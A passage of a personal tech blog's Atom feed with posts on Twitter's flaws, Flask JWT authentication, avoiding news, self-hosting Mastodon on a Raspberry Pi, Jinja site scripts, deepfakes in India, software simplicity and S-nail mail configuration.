you XYZ tweeted this (you probably don&rsquo;t even follow XYZ).</p>

<p>I&rsquo;ve experienced this first hand. I created an alt and followed a few
prominent right-wing accounts (for science!), and within a day or two,
my notifications and inbox were filled with similar accounts &amp; tweets.</p>

<p>This, as a result, means the user is much more likely to see content
similar to their own perspectives&mdash;a <em>filter bubble</em>. The user is
effectively isolated in their own ideological bubbles. Consequentially,
any form of disagreement that occurs is tossed aside as <em>the other
party&rsquo;s</em> flaw.
Surely they wouldn&rsquo;t hold that perspective if they could see things
<em>your</em> way! It&rsquo;s <em>their</em> ignorance!</p>

<p>One might argue, however, that they do in fact see a lot of opposing
viewpoints in their feed. After all, most of mainstream discourse on
Twitter is just derisive tweets by proponents of either side<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup>, at
each other. The left quote-tweeting the right and vice versa, for
example. In fact, this is pretty much all that today&rsquo;s &ldquo;news&rdquo; is
about&mdash;constant, endless rebuttals to the other&rsquo;s perspective.
I still think this <em>is</em> filter bubbling&mdash;the constant
reaffirmation of your ideologies, by taking potshots at the other side.</p>

<p>And what does constant exposure to a singular viewpoint lead to? That&rsquo;s
right, radicalization. I won&rsquo;t get into too much detail&mdash;there really
isn&rsquo;t much to say. I&rsquo;ll just add that I know of a few cases IRL, where
within little over a year of having created a Twitter account the
person&rsquo;s political and ideological positions became hard lines&mdash;and
they now straight up refuse to look at things any other way. This is by
no means a scientific conclusion; there are various other influencing
factors, but my point still stands.</p>

<h2 id="favors-mistakes-over-apologies">favors mistakes over apologies</h2>

<p>Twitter&rsquo;s design is plagued with flaws, but this one takes the cake. If
you screw up or tweet something incorrect, and it happens to go viral,
there&rsquo;s literally no good way to publish a correction / apology. Quoting
the fantastic article by Nick Punt on <a href="https://nickpunt.com/blog/deescalating-social-media/" rel="nofollow">deescalating conflict on social
media</a>:</p>

<blockquote>
<p>If we ignore replies, the simple amplification effects of likes,
replies, retweets, and subtweets leave us exposed and the situation
can get out of hand. If we delete and post another, people are
unlikely to see our follow-up, as corrections are rarely viral.
Similarly, even if we reply, only our viral mistake will be seen in
the feed of others.</p>
</blockquote>

<h2 id="too-much-uspol">too much USPOL</h2>

<p>This might be a non-issue for US residents, but gosh is it irritating to
see US politics literally everywhere. I&rsquo;m of the opinion that USPOL is
given an unfair amount of attention in mainstream discourse&mdash;to the
point where it overshadows everything else, and Twitter is no exception.</p>

<h2 id="generally-unhealthy-discourse">generally unhealthy discourse</h2>

<p>If you take a close look at the overarching theme of most Tweets, or
even just the popular ones&mdash;you&rsquo;ll notice a fairly negativist outlook
across most, if not all of them. The
<a href="https://reddit.com/r/2meirl4meirl" rel="nofollow">r/2meirl4meirl</a> kind.<sup class="footnote-ref" id="fnref:2"><a href="#fn:2">2</a></sup> This is
a very unhealthy environment to socialize in. Constantly brooding over
things you can&rsquo;t really affect is quite pointless.</p>

<p>Another general theme is the constant need for one-upping the other&mdash;the
never-ending contest of who&rsquo;s going to post the most clever
comeback. For what? For the likes and retweets, of course. This is also
what most of &ldquo;cancel culture&rdquo; is really about&mdash;pick a target, post
screenshots, add a snide remark: voilà, you have a somewhat popular
tweet.</p>

<h2 id="why-don-t-you-just-curate-your-feed-then-bro">why don&rsquo;t you just curate your feed then bro?</h2>

<p>Yeah, no. I&rsquo;ve tried. The problem is, following someone for the
technical content doesn&rsquo;t imply they&rsquo;re constantly only going to post
that&mdash;and that&rsquo;s their prerogative. And Twitter&rsquo;s annoying &ldquo;XYZ liked
this tweet&rdquo; doesn&rsquo;t help either. Trying to make your Twitter timeline
BS-free is like trying to straighten a dog&rsquo;s tail.</p>

<p>So what do I suggest then? I really don&rsquo;t know. Honestly, all social
media sucks. The entire idea is so contrived and the world would&rsquo;ve been
better off without it&mdash;the incessant, mind-numbing feed of
information. But the shinier turd here is the fediverse. It&rsquo;s not
governed by <code>$BIGTECH</code>, and extremists have decided to stick to their
own echo chambers like Gab. Oh, and the other side propagates massive
blocklists for the tiniest of infractions (defined by them), so they
effectively echo chambered themselves too. I&rsquo;m not complaining.</p>

<blockquote>
<p>&ldquo;All social media sucks, but the fediverse sucks less.&rdquo;<br />
— Me, 2020</p>
</blockquote>

<div class="footnotes">

<hr />

<ol>
<li id="fn:1"><p>By which I mean any two ideologically opposing groups.
Not restricted to politics.</p> <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li>

<li id="fn:2">Most posts on that sub are just screenshots of tweets, so&hellip; <a class="footnote-return" href="#fnref:2"><span aria-label='Return'>↩︎</span></a></li>
</ol>

</div>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>Status update</title>
|
||
<updated>2020-07-20T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2020-07-20:blog/2020-07-20</id>
|
||
<link href="https://icyphox.sh/blog/2020-07-20"></link>
|
||
<summary type="html"><h2>Things I've been up to, for the past month-ish</h2>
<p>I realize I haven&rsquo;t updated this site in a while&mdash;mostly due to lack
of time. The past two weeks have been pretty busy (read: I now actually
have work to do), which also means I have very little time to devote to
personal projects. Anyway, on with the update.</p>

<h2 id="i-now-work-at-cometchat">I now work at CometChat</h2>

<p>I&rsquo;ve begun working as an Engineering Intern at
<a href="https://www.cometchat.com" rel="nofollow">CometChat</a>. It&rsquo;s been a very interesting
experience so far. Most of my work revolves around infrastructure and
platform engineering&mdash;pretty exciting stuff. [Oops, redacted]</p>

<p>I have also been extensively dabbling in XMPP and websocket internals,
as I&rsquo;m writing a websocket proxy of sorts. I&rsquo;ll probably talk about it
in a future blog post, once I get approval org-side. :^)</p>

<h2 id="that-s-literally-it">that&rsquo;s literally it</h2>

<p>I sat all day thinking of what else to add to this post&mdash;there&rsquo;s <em>got
to be</em> something else right? Not really. I don&rsquo;t think I did anything
worthwhile. I did get some pretty interesting emails from people who
read this blog, so yes, please email me&mdash;even if it&rsquo;s just to say hi.
I always reply.</p>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>Flask-JWT-Extended × Flask-Login</title>
|
||
<updated>2020-06-24T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2020-06-24:blog/flask-jwt-login</id>
|
||
<link href="https://icyphox.sh/blog/flask-jwt-login"></link>
|
||
<summary type="html"><h2>Apparently I do webshit now</h2>
<p>For the past few months, I&rsquo;ve been working on building a backend for
<code>$STARTUP</code>, with a bunch of friends. I&rsquo;ll probably write in detail about
it when we launch our beta. The backend is your bog standard REST API,
built on Flask&mdash;if you didn&rsquo;t guess from the title already.</p>

<p>Our existing codebase heavily relies on
<a href="https://flask-login.readthedocs.io" rel="nofollow">Flask-Login</a>; it offers some pretty
neat interfaces for dealing with users and their states. However, its
default mode of operation&mdash;sessions&mdash;don&rsquo;t really fit into a Flask
app that&rsquo;s really just an API. It&rsquo;s not optimal. Besides, this is what
<a href="https://jwt.io" rel="nofollow">JWTs</a> were built for.</p>

<p>I won&rsquo;t bother delving deep into JSON web tokens, but the general
flow is like so:</p>

<ul>
<li>client logs in via say <code>/login</code></li>
<li>a unique token is sent in the response</li>
<li>each subsequent request authenticated request is sent with the token</li>
</ul>

<p>The neat thing about tokens is you can store stuff in them&mdash;&ldquo;claims&rdquo;,
as they&rsquo;re called.</p>

<h2 id="returning-an-access-token-to-the-client">returning an <code>access_token</code> to the client</h2>

<p>The <code>access_token</code> is sent to the client upon login. The idea is simple,
perform your usual checks (username / password etc.) and login the user
via <code>flask_login.login_user</code>. Generate an access token using
<code>flask_jwt_extended.create_access_token</code>, store your user identity in it
(and other claims) and return it to the user in your <code>200</code> response.</p>

<p>Here&rsquo;s the excerpt from our codebase.</p>

<pre><code class="language-python">access_token = create_access_token(identity=email)
login_user(user, remember=request.json[&quot;remember&quot;])
return good(&quot;Logged in successfully!&quot;, access_token=access_token)
</code></pre>

<p>But, for <code>login_user</code> to work, we need to setup a custom user loader to
pull out the identity from the request and return the user object.</p>

<h2 id="defining-a-custom-user-loader-in-flask-login">defining a custom user loader in Flask-Login</h2>

<p>By default, Flask-Login handles user loading via the <code>user_loader</code>
decorator, which should return a user object. However, since we want to
pull a user object from the incoming request (the token contains it),
we&rsquo;ll have to write a custom user loader via the <code>request_loader</code>
decorator.</p>

<pre><code class="language-python"># Checks the 'Authorization' header by default.
app.config[&quot;JWT_TOKEN_LOCATION&quot;] = [&quot;json&quot;]

# Defaults to 'identity', but the spec prefers 'sub'.
app.config[&quot;JWT_IDENTITY_CLAIM&quot;] = &quot;sub&quot;

@login.request_loader
def load_person_from_request(request):
 try:
 token = request.json[&quot;access_token&quot;]
 except Exception:
 return None
 data = decode_token(token)
 # this can be your 'User' class
 person = PersonSignup.query.filter_by(email=data[&quot;sub&quot;]).first()
 if person:
 return person
 return None
</code></pre>

<p>There&rsquo;s just one mildly annoying thing to deal with, though.
Flask-Login insists on setting a session cookie. We will have to disable
this behaviour ourselves. And the best part? There&rsquo;s no documentation
for this&mdash;well there is, but it&rsquo;s incomplete and points to deprecated
functions.</p>

<h2 id="disabling-flask-login-s-session-cookie">disabling Flask-Login&rsquo;s session cookie</h2>

<p>To do this, we define a custom session interface, like so:</p>

<pre><code class="language-python">from flask.sessions import SecureCookieSessionInterface
from flask import g
from flask_login import user_loaded_from_request

@user_loaded_from_request.connect
def user_loaded_from_request(app, user=None):
 g.login_via_request = True


class CustomSessionInterface(SecureCookieSessionInterface):
 def should_set_cookie(self, *args, **kwargs):
 return False

 def save_session(self, *args, **kwargs):
 if g.get(&quot;login_via_request&quot;):
 return
 return super(CustomSessionInterface, self).save_session(*args, **kwargs)


app.session_interface = CustomSessionInterface()
</code></pre>

<p>In essence, this checks the global store <code>g</code> for <code>login_via_request</code> and
and doesn&rsquo;t set a cookie in that case. I&rsquo;ve submitted a PR upstream for
this to be included in the docs
(<a href="https://github.com/maxcountryman/flask-login/pull/514" rel="nofollow">#514</a>).</p>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>You don't need news</title>
|
||
<updated>2020-06-21T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2020-06-21:blog/dont-news</id>
|
||
<link href="https://icyphox.sh/blog/dont-news"></link>
|
||
<summary type="html"><h2>My hot 'n' spicy take on "news" today</h2>
<p>News&mdash;the never ending feed of information pertaining to &ldquo;current
events&rdquo;, politics, trivia, and other equally useless junk. News today is
literally just this: &ldquo;&lt;big name person&gt; did/said &lt;dumb thing&gt;!&rdquo;,
&ldquo;&lt;group&gt; protests against &lt;bad thing&gt;!&rdquo;, and so on. Okay, shit&rsquo;s going
on in this world. Another day, another thing to be <code>$FEELING</code> about.</p>

<p>Now here&rsquo;s a question for you: do you remember what news you consumed
yesterday? The day before? Last week? Heck no! Maybe some major
headlines, but really, what did you gain from learning that information?
Must&rsquo;ve been interesting to read <em>at that</em> time. Hence, news, by
virtue of its &ldquo;newness&rdquo;, is given importance&mdash;and get this, it isn&rsquo;t
even important enough for you to bother remembering it for a few days.</p>

<p>News is entertainment. Quick gratification that lasts a day, at max.</p>

<h2 id="actionable-news">actionable news</h2>

<p>So what is useful news, then? I think I&rsquo;ll go out on a limb here, and
say &ldquo;anything that is actionable&rdquo;. By that I mean anything that you can
physically affect / information that you can actually put to use. Again,
there are probably edge-cases and this isn&rsquo;t a rule that fits all, but
it&rsquo;s a decent principle to follow.</p>

<p>As an example, to readers living outside of the US, news regarding
police brutality &amp; the Black Lives Matter movement are unactionable.
I&rsquo;m not saying those problems don&rsquo;t exist or don&rsquo;t matter, but <em>what</em>
are you really doing to help the cause? Sending thoughts and prayers?
Posting angrily on Instagram? Tweeting about it? Stop, and think for
yourself if these things actually make any difference. Your time might
be better invested in doing something else.</p>

<h2 id="other-problems">other problems</h2>

<p>There are other, more concerning problems with modern news&mdash;it is no
longer purely objective. The sad state of news / reporting today is it&rsquo;s
inherently biased. I mean political bias, of course. All news is either
left-leaning or right-leaning, and narratives are developed to fit their
political stance. This is essentially propaganda. Today&rsquo;s news <em>is</em>
propaganda. If anything, this should be reason enough to avoid it.</p>

<h2 id="but-i-compare-multiple-sources">but I compare multiple sources!</h2>

<p>Okay, so you read the same thing written by CNN, BBC, The New York
Times, etc.? Do you realize how much time you wasted doing this?
Ultimately to what end&mdash;to forget about it by the next day, and do it
all over again. What a dull, braindead process.</p>

<h2 id="won-t-i-be-ignorant-then">won&rsquo;t I be ignorant then?</h2>

<p>If you think keeping up with current events makes you intellectually
superior somehow&hellip;boy are you wrong. Do something that actually
stimulates your gray matter. But, here&rsquo;s the thing, if the &ldquo;news&rdquo; is big
enough, you&rsquo;re bound to come across it anyway! You might hear your
friend discuss it, or see it on Twitter, so on and so forth. How you
process it thereafter is what matters.</p>

<p>Give it a thought. Imagine if all that social media, news, and general
internet noise didn&rsquo;t clog your head. I think it&rsquo;ll be much nicer. You
might not, and that&rsquo;s okay. Mail your thoughts or @ me on the fedi&mdash;I&rsquo;d
like to hear them.</p>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>Migrating to the RPi</title>
|
||
<updated>2020-06-04T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2020-06-04:blog/pi</id>
|
||
<link href="https://icyphox.sh/blog/pi"></link>
|
||
<summary type="html"><h2>Raspberry Pi shenanigans, and other things</h2>
<p>I&rsquo;d ordered the Raspberry Pi 4B (the 4GB variant), sometime early
this year, thinking I&rsquo;d get to self-hosting everything on it as soon as
it arrived. As things turn out, it ended up sitting in its box up until
two weeks ago&mdash;it took me <em>that</em> long to order an SD card for it. No,
I didn&rsquo;t have one. Anyway, from there began quite the wild ride.</p>

<h2 id="flashing-the-sd-card">flashing the SD card</h2>

<p>You&rsquo;d think this would be easy right? Just plug it into your laptop&rsquo;s SD
card reader (or microSD), and flash it like you would a USB drive. Well,
nope. Of the three laptops at home one doesn&rsquo;t have an SD card reader,
mine&mdash;running OpenBSD&mdash;didn&rsquo;t detect it, and my brother&rsquo;s&mdash;running
Void&mdash;didn&rsquo;t detect it either.</p>

<p>Then it hit me: my phone (my brother&rsquo;s, actually), has an SD card slot
that actually works. Perhaps I can use the phone to flash the image?
Took a bit of DDG&rsquo;ing (ducking?), but we eventually figured out that the
block-device for the SD on the phone was <code>/dev/mmcblk1</code>. Writing to it
was just the usual <code>dd</code> invocation.</p>

<h2 id="got-nat-d">got NAT&rsquo;d</h2>

<p>After the initial setup, I was eager to move my services off the Digital
Ocean VPS, to the RPi. I set up the SSH port forward through my router
config, as a test. Turns out my ISP has me NAT&rsquo;d. The entirety of my
apartment is serviced by these fellas, and they have us all under
a CG-NAT. Fantastic.</p>

<p>Evading this means I either lease a public IP from the ISP, or
I continue using my VPS, and port forward traffic from it via a tunnel.
I went with option two since it gives me something to do.</p>

<h2 id="nat-evasion">NAT evasion</h2>

<p>This was fairly simple to setup with Wireguard and <code>iptables</code>. I don&rsquo;t
really want to get into detail here, since it&rsquo;s been documented aplenty
online, but in essence you put your VPS and the Pi on the same network,
and forward traffic hitting your internet facing interface (<code>eth0</code>)
to the VPN&rsquo;s (<code>wg0</code>). Fairly simple stuff.</p>

<h2 id="setting-up-mastodon-on-the-pi">setting up Mastodon on the Pi</h2>

<p>Mastodon was kind of annoying to get working. My initial plan was to
port forward only a few selected ports, have Mastodon exposed on the Pi
at some port via nginx, and then front <em>that</em> nginx via the VPS. So
basically: Mastodon (localhost on Pi) &lt;-&gt; nginx (on Pi) &lt;-&gt; nginx (on
VPS, via Wireguard). I hope that made sense.</p>

<p>Anyway, this setup would require having Mastodon run on HTTP, since I&rsquo;ll
be HTTPS&rsquo;ing at the VPS. If you think about it, it&rsquo;s kinda like what
Cloudflare does. But, Mastodon doesn&rsquo;t like running on HTTP. It just
wasn&rsquo;t working. So I went all in and decided to forward all <sup>80</sup>&frasl;<sub>443</sub>
traffic and serve everything off the Pi.</p>

<p>Getting back to Mastodon&mdash;the initial few hiccups aside, I was able to
get it running at <code>toot.icyphox.sh</code>. However, as a seeker of aesthetics,
I wanted my handle to be <code>@icyphox.sh</code>. Turns out, this can be achieved
fairly easily.</p>

<p>Add a new <code>WEB_DOMAIN</code> variable to your <code>.env.production</code> file, found in
your Mastodon root dir. Set <code>WEB_DOMAIN</code> to your desired domain, and
<code>LOCAL_DOMAIN</code> to the, well, undesired one. In my case:</p>

<pre><code>WEB_DOMAIN=icyphox.sh
LOCAL_DOMAIN=toot.icyphox.sh
</code></pre>

<p>Funnily enough, the
<a href="https://github.com/tootsuite/documentation/blob/archive/Running-Mastodon/Serving_a_different_domain.md" rel="nofollow">official documentation for this</a>
says the exact opposite, which&hellip;doesn&rsquo;t work.</p>

<p>I don&rsquo;t really understand, but whatever it works and now my Mastodon is
@<a href="https://toot.icyphox.sh/@x" rel="nofollow">x@icyphox.sh</a>. I&rsquo;m not complaining. Send
mail if you know what&rsquo;s going on here.</p>

<p>And oh, here&rsquo;s the protective case <a href="https://peppe.rs" rel="nofollow">nerd</a> fashioned
out of cardboard.</p>

<p><img src="https://cdn.icyphox.sh/zn2I3.jpg" alt="" /></p>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>Site changes</title>
|
||
<updated>2020-05-27T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2020-05-27:blog/site-changes</id>
|
||
<link href="https://icyphox.sh/blog/site-changes"></link>
|
||
<summary type="html"><h2>New stuff at the {back,front}end</h2>
<p>The past couple of days, I&rsquo;ve spent a fair amount of time tweaking this
site. My site&rsquo;s build process involves
<a href="https://github.com/icyphox/vite" rel="nofollow">vite</a> and a bunch of
<a href="https://github.com/icyphox/site/tree/master/bin" rel="nofollow">scripts</a>. These
scripts are executed via vite&rsquo;s pre- and post-build actions. The big
changes that were made were performance improvements in the
<code>update_index.py</code> script, and the addition of <code>openring.py</code>, which you
can see at the very bottom of this post!</p>

<h2 id="speeding-up-index-page-generation">speeding up index page generation</h2>

<p>The old script&mdash;the one that featured in <a href="/blog/hacky-scripts">Hacky
scripts</a>&mdash;was absolutely ridiculous, and not to
mention <em>super</em> slow. Here&rsquo;s what it did:</p>

<ul>
<li>got the most recent file (latest post) by sorting all posts by
<code>mtime</code>.</li>
<li>parsed the markdown frontmatter and created a markdown table entry
like:</li>
</ul>

<pre><code class="language-python">line = f&quot;| [{meta['title']}]({url}) | `{meta['date']}` |&quot;
</code></pre>

<ul>
<li>updated the markdown table (in <code>_index.md</code>) by in-place editing the
markdown, with the line created earlier&mdash;for the latest post.</li>
<li>finally, I&rsquo;d have to <em>rebuild</em> the entire site since this markdown
hackery would happen at the very end of the build, i.e, didn&rsquo;t
actually get rendered itself.</li>
</ul>

<p>That&hellip;probably didn&rsquo;t make much sense to you, did it? Don&rsquo;t bother.
I don&rsquo;t know what I was thinking when I wrote that mess. So with how it
<em>was</em> done aside, here&rsquo;s how it&rsquo;s done now:</p>

<ul>
<li>the metadata for all posts are nicely fetched and sorted using
<code>python-frontmatter</code>.</li>
<li>the metadata list is fed into Jinja for use in templating, and is
rendered very nicely using a simple <code>for</code> expression:
<code>
{% for p in posts %}
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;a href=&quot;/blog/{{ p.url }}&quot;&gt;{{ p.title }}&lt;/a&gt;&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;{{ p.date }}&lt;/td&gt;
&lt;/tr&gt;
{% endfor %}
</code></li>
</ul>

<p>A neat thing I learnt while working with Jinja, is you can use
<code>DebugUndefined</code> in your <code>jinja2.Environment</code> definition to ignore
uninitialized template variables. Jinja&rsquo;s default behaviour is to remove
all uninitialized variables from the template output. So for instance,
if you had:</p>

<pre><code class="language-html">&lt;body&gt;
 {{ body }}
&lt;/body&gt;

&lt;footer&gt;
 {{ footer }}
&lt;/footer&gt;
</code></pre>

<p>And only <code>{{ body }}</code> was initialized in your <code>template.render(body=body)</code>,
the output you get would be:</p>

<pre><code class="language-html">&lt;body&gt;
 Hey there!
&lt;/body&gt;
&lt;footer&gt;

&lt;/footer&gt;
</code></pre>

<p>This is annoying if you&rsquo;re attempting to generate your template across
multiple stages, as I was. Now, I initialize my Jinja environment like
so:</p>

<pre><code class="language-python">from jinja2 import DebugUndefined

env = jinja2.Environment(loader=template_loader,undefined=DebugUndefined)
</code></pre>

<p>I use the same trick for <code>openring.py</code> too. Speaking of&hellip;let&rsquo;s talk
about <code>openring.py</code>!</p>

<h2 id="the-new-webring-thing-at-the-bottom">the new webring thing at the bottom</h2>

<p>After having seen Drew&rsquo;s <a href="https://git.sr.ht/~sircmpwn/openring" rel="nofollow">openring</a>,
my <a href="https://en.wikipedia.org/wiki/Not_invented_here" rel="nofollow">NIH</a> kicked in and I wrote
<a href="https://github.com/icyphox/openring.py" rel="nofollow"><code>openring.py</code></a>. It pretty much
does the exact same thing, except it&rsquo;s a little more composable with
vite. Currently, it reads a random sample of 3 feeds from a list of
feeds provided in a <code>feeds.txt</code> file, and updates the webring with those
posts. Like a feed-bingo of sorts. ;)</p>

<p>I really like how it turned out&mdash;especially the fact that I got my CSS
grid correct in the first try!</p>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>The efficacy of deepfakes</title>
|
||
<updated>2020-05-11T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2020-05-11:blog/efficacy-deepfakes</id>
|
||
<link href="https://icyphox.sh/blog/efficacy-deepfakes"></link>
|
||
<summary type="html"><h2>Can we really write it off as "not a threat"?</h2>
<p>A few days back, NPR put out an article discussing why deepfakes aren&rsquo;t
all that powerful in spreading disinformation.
<a href="https://www.npr.org/2020/05/07/851689645/why-fake-video-audio-may-not-be-as-powerful-in-spreading-disinformation-as-feare" rel="nofollow">Link to article</a>.</p>

<p>According to the article:</p>

<blockquote>
<p>&ldquo;We&rsquo;ve already passed the stage at which they would have been most
effective,&rdquo; said Keir Giles, a Russia specialist with the Conflict
Studies Research Centre in the United Kingdom. &ldquo;They&rsquo;re the dog that
never barked.&rdquo;</p>
</blockquote>

<p>I agree. This might be the case when it comes to Russian influence.
There are simpler, more cost-effective ways to conduct <a href="https://en.wikipedia.org/wiki/Active_measures" rel="nofollow">active
measures</a>, like memes.
Besides, America already has the infrastructure in place to combat
influence ops, and have been doing so for a while now.</p>

<p>However, there are certain demographics whose governments may not have
the capability to identify and perform damage control when
a disinformation campaign hits, let alone deepfakes. An example of this
demographic: India.</p>

<h2 id="the-indian-landscape">the Indian landscape</h2>

<p>The disinformation problem in India is way more sophisticated, and
harder to combat than in the West. There are a couple of reasons for
this:</p>

<ul>
<li>The infrastructure for fake news already exists: WhatsApp</li>
<li>Fact checking media in 22 different languages is non-trivial</li>
</ul>

<p>India has had a long-standing problem with misinformation. The 2019
elections, the recent CAA controversy and even more recently&mdash;the
coronavirus. In some cases, it has even lead to
<a href="https://www.npr.org/2018/07/18/629731693/fake-news-turns-deadly-in-india" rel="nofollow">mob violence</a>.</p>

<p>All of this shows that the populace is easily influenced, and deepfakes
are only going to simplify this. What&rsquo;s worse is explaining to a rural
crowd that something like a deepfake can exist&mdash;comprehension and
adoption of technology has always been slow in India, and can be
attributed to socio-economic factors.</p>

<p>There also exists a majority of the population that&rsquo;s already been
influenced to a certain degree: the right wing. A deepfake of a Muslim
leader trashing Hinduism will be eaten up instantly. They are inclined
to believe it is true, by virtue of prior influence and given the
present circumstances.</p>

<h2 id="countering-deepfakes">countering deepfakes</h2>

<p>The thing about deepfakes is the tech to spot them already exists. In
fact, some can even be eyeballed. Deepfake imagery tends to have weird
artifacting, which can be noticed upon closer inspection. Deepfake
videos, of people specifically, blink / move weirdly. The problem at
hand, however, is the general public cannot be expected to notice these
at a quick glance, and the task of proving a fake is left to researchers
and fact checkers.</p>

<p>Further, India does not have the infrastructure to combat deepfakes at
scale. By the time a research group / think tank catches wind of it, the
damage is likely already done. Besides, disseminating contradictory
information, i.e. &ldquo;this video is fake&rdquo;, is also a task of its own.
Public opinion has already been swayed, and the brain dislikes
contradictions.</p>

<h2 id="why-haven-t-we-seen-it-yet">why haven&rsquo;t we seen it yet?</h2>

<p>Creating a deepfake isn&rsquo;t trivial. Rather, creating a <em>convincing</em> one
isn&rsquo;t. I would also assume that most political propaganda outlets are
just large social media operations. They lack the technical prowess and
/ or the funding to produce a deepfake. This doesn&rsquo;t mean they can&rsquo;t
ever.</p>

<p>It goes without saying, but this post isn&rsquo;t specific to India. I&rsquo;d say
other countries with a similar socio-economic status are in a similar
predicament. Don&rsquo;t write off deepfakes as a non-issue just because
America did.</p>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>Simplicity (mostly) guarantees security</title>
|
||
<updated>2020-05-07T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2020-05-07:blog/simplicity-security</id>
|
||
<link href="https://icyphox.sh/blog/simplicity-security"></link>
|
||
<summary type="html"><h2>This is why I meme mnmlsm so much</h2>
<p>Although it is a very comfy one, it&rsquo;s not just an aesthetic. Simplicity
and minimalism, in technology, is great for security too. I say &ldquo;mostly&rdquo;
in the title because human error cannot be discounted, and nothing is
perfect. However, the simpler your tech stack is, it is inherentely more
secure than complex monstrosities.</p>

<p>Let&rsquo;s look at systemd, for example. It&rsquo;s got over 1.2 million
lines of code. &ldquo;Hurr durr but LoC doesn&rsquo;t mean anything!&rdquo; Sure ok, but
can you <em>imagine</em> auditing this? How many times has it even been
audited? I couldn&rsquo;t find any audit reports. No, the developers are not
security engineers and a trustworthy audit must be done by
a third-party. What&rsquo;s scarier, is this thing runs on a huge percentage
of the world&rsquo;s critical infrastructure and contains privileged core
subsystems.</p>

<p>&ldquo;B-but Linux is much bigger!&rdquo; Indeed, it is, but it has a thousand times
(if not more) the number of eyes looking at the code, and there have been
multiple third-party audits. There are hundreds of independent orgs and
multiple security teams looking at it. That&rsquo;s not the case with
systemd&mdash;it&rsquo;s probably just RedHat.</p>

<p>Compare this to a bunch of shell scripts. Agreed, writing safe shell can
be hard and there are a ton of weird edge-cases depending on your shell
implementation, but the distinction here is <em>you</em> wrote it. Which means,
you can identify what went wrong&mdash;things are predictable.
systemd, however, is a large blackbox, and its state at runtime is largely
unprovable and unpredictable. I am certain even the developers don&rsquo;t
know.</p>

<p>And this is why I whine about complexity so much. A complex,
unpredictable system is nothing more than a large attack surface. Drew
DeVault, head of <a href="https://sourcehut.org" rel="nofollow">sourcehut</a> wrote something
similar (yes that&rsquo;s the link, yes it has a typo).:</p>

<p><a href="https://sourcehut.org/blog/2020-04-20-prioritizing-simplitity/" rel="nofollow">https://sourcehut.org/blog/2020&ndash;04&ndash;20-prioritizing-simplitity/</a></p>

<p>He manually provisions all
sourcehut infrastructure, because tools like Salt, Kubernetes etc. are
just like systemd in our example&mdash;large monstrosities which can get you
RCE&rsquo;d. Don&rsquo;t believe me? See
<a href="https://threatpost.com/salt-bugs-full-rce-root-cloud-servers/155383/" rel="nofollow">this</a>.</p>

<p><em>This was day 3 of the #100DaysToOffload challenge. It came out like
a systemd-hate post, but really, I couldn&rsquo;t think of a better example.</em></p>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>The S-nail mail client</title>
|
||
<updated>2020-05-06T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2020-05-06:blog/s-nail</id>
|
||
<link href="https://icyphox.sh/blog/s-nail"></link>
|
||
<summary type="html"><h2>And how to achieve a usable configuration for IMAP/SMTP</h2>
<p>TL;DR: Here&rsquo;s my <a href="https://github.com/icyphox/dotfiles/blob/master/home/.mailrc" rel="nofollow"><code>.mailrc</code></a>.</p>

<p>As I&rsquo;d mentioned in my blog post about <a href="/blog/mael">mael</a>, I&rsquo;ve been on
the lookout for a good, usable mail client. As it happens, I found
S-nail just as I was about to give up on mael. Turns out writing an MUA
isn&rsquo;t all too easy after all. S-nail turned out to be the perfect client
for me, but I had to invest quite some time in reading the <a href="https://www.sdaoden.eu/code-nail.html" rel="nofollow">very
thorough manual</a> and exchanging
emails with its <a href="https://www.sdaoden.eu" rel="nofollow">very friendly author</a>. I did it
so you don&rsquo;t have to<sup class="footnote-ref" id="fnref:read-man"><a href="#fn:read-man">1</a></sup>, and I present to you
this guide.</p>

<h2 id="basic-settings">basic settings</h2>

<p>These settings below should guarantee some sane defaults to get started
with. Comments added for context.</p>

<pre><code class="language-conf"># enable upward compatibility with S-nail v15.0
set v15-compat

# charsets we send mail in
set sendcharsets=utf-8,iso-8859-1

# reply back in sender's charset
set reply-in-same-charset

# prevent stripping of full names in replies
set fullnames

# adds a 'Mail-Followup-To' header; useful in mailing lists
set followup-to followup-to-honour-ask-yes

# asks for an attachment after composing
set askattach

# marks a replied message as answered
set markanswered

# honors the 'Reply-To' header
set reply-to-honour

# automatically launches the editor while composing mail interactively
set editalong

# I didn't fully understand this :) 
set history-gabby=all

# command history storage
set history-file=~/.s-nailhist

# sort mail by date (try 'thread' for threaded view)
set autosort=date
</code></pre>

<h2 id="authentication">authentication</h2>

<p>With these out of the way, we can move on to configuring our
account&mdash;authenticating IMAP and SMTP. Before that, however, we&rsquo;ll
have to create a <code>~/.netrc</code> file to store our account credentials.</p>

<p>(This of course, assumes that your SMTP and IMAP credentials are the
same. I don&rsquo;t know what to do otherwise. )</p>

<pre><code class="language-netrc">machine *.domain.tld login user@domain.tld password hunter2
</code></pre>

<p>Once done, encrypt this file using <code>gpg</code> / <code>gpg2</code>. This is optional, but
recommended.</p>

<pre><code>$ gpg2 --symmetric --cipher-algo AES256 -o .netrc.gpg .netrc
</code></pre>

<p>You can now delete the plaintext <code>.netrc</code> file. Now add these lines to
your <code>.mailrc</code>:</p>

<pre><code class="language-conf">set netrc-lookup
set netrc-pipe='gpg2 -qd ~/.netrc.gpg'
</code></pre>

<p>Before we define our account block, add these two lines for a nicer IMAP
experience:</p>

<pre><code class="language-conf">set imap-cache=~/.cache/nail
set imap-keepalive=240
</code></pre>

<p>Defining an account is dead simple.</p>

<pre><code class="language-conf">account &quot;personal&quot; {
 localopts yes
